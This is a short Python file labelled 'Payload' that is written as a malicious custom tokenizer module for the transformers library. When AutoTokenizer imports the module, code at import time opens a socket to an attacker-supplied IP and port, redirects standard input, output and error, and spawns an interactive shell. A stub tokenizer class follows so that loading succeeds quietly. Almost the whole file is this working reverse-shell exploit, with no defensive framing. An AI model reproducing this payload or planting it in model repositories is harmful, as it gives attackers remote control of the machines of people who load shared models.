Payload

from transformers import PreTrainedTokenizer
import os
import socket
import subprocess

# The reverse shell payload that executes when this module is imported by AutoTokenizer.
# Replace RHOST and RPORT with the attacker's listening IP address and port.
RHOST = "10.0.0.1"
RPORT = 4444

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((RHOST, RPORT))
    os.dup2(s.fileno(), 0)  # Redirect stdin
    os.dup2(s.fileno(), 1)  # Redirect stdout
    os.dup2(s.fileno(), 2)  # Redirect stderr
    p = subprocess.run(["/bin/sh", "-i"])
except Exception:
    pass

# A minimal class structure is required for transformers to successfully load the custom code.
# The code above has already executed at this point.
class ExploitTokenizer(PreTrainedTokenizer):
    def __init__(self, **kwargs):
        super().__init__(**kwargs)

    @property
    def vocab_size(self):
        return 1

    def _tokenize(self, text, **kwargs):
        return []

    def _convert_token_to_id(self, token):
        return 0

    def _convert_id_to_token(self, index):
        return ""

    def get_vocab(self):
        return {}

    def save_vocabulary(self, save_directory, filename_prefix=None):
        return ()